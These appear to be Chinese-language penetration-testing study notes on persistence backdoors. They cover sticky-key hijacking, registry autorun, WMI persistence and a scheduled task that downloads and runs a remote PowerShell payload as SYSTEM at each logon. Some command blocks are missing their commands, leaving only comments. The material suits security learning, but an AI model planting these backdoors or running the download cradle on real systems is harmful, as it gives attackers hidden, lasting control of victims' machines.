内网安全学习笔记-Ⅶ:权限维持之操作系统后门
攻击者在提升权限后,通常会简历后门来维持对目标主机的控制权。
Windows:
粘滞键后门/映像劫持shift后门
参考链接:https://blog.csdn.net/fageweiketang/article/details/88317656
在Windows连续按5下shift键就可以调出粘滞键。旧方法粘滞键后门的原理是将sethc.exe程序替换成后门程序,但该方法只适用于winvista系统及以下,其它系统修改 sethc 会提示需要 trustedinstaller 权限。
新方法设置粘滞键后门是通过注册表来实现,思路就是通过修改注册表的映像劫持和打开其远程桌面来实现。映像劫持简单理解就是当自己打开程序 a 的时候,实际上是打开的程序 b。
设置映像劫持较简单,只需要在注册表的 HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options 位置添加被劫持的程序然后简单设置一下即可,我们通过命令行执行以下程序:
1 | # 命令说明:reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE 的缩写。Image File Execution Option 这个目录就是用来设置镜像劫持的,要被劫持的就是命令中的 sethc 粘滞键程序,随后通过 / v 来指定键名,这个键名 debugger 是固定的,然后通过 / t 来指定类型,即 REG_SZ 字符串类型,最后通过 / d 来指定键的值,即被恶意替换的程序,也就是我们的 cmd。 |
至此,我们的粘滞键后门就已经完成了,远程桌面连接输入 ip 就会直接跳到目标锁屏页,如果用户没有设置密码则可以直接登录,如果有密码而又不知道密码的情况下,则可以用 shift 调出命令行来执行一些操作。
影子用户后门
参考之前的总结:权限维持:Windows命令行下通过修改注册表创建隐藏帐号
注册表自启动后门
1 | # 示例:添加cmd.exe自启动 |
计划任务后门
参考:https://zhuanlan.zhihu.com/p/98199824
Metasploit 的web_delivery模块可用于托管和生成各种格式的有效载荷
1 | use exploit/multi/script/web_delivery |
“ schtasks ”可执行文件可用于创建计划任务,该任务将在每个Windows登录中以SYSTEM的形式下载并执行基于PowerShell的有效负载。
1 | schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.111.80:8080/ZPWLywg'''))'" /sc onlogon /ru System |
WMI后门
WMI后门使用了WMI的两个特征:无文件和无进程(需要管理员权限运行)。
原理:将代码加密存储与WMI中,即无文件;调用PowerShell执行后门程序,执行后进程消失,即无进程。
在Empire中使用Invoke-WMI模块
1 | usemodule powershell/persistence/elevated/wmi #设置参数run |
其它后门方法可参考:windows中常见后门持久化方法总结
Linux:
关于Linux的后门权限维持,一般有添加超级用户、SSH免密登录、Crontab定时任务反弹shell、PAM后门、Rootkit工具包等方法 可参考:https://wiki.wgpsec.org/knowledge/hw/os-backdoor.html#linux和https://bypass007.github.io/Emergency-Response-Notes/privilege/%E7%AC%AC4%E7%AF%87%EF%BC%9ALinux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81--%E5%90%8E%E9%97%A8%E7%AF%87.html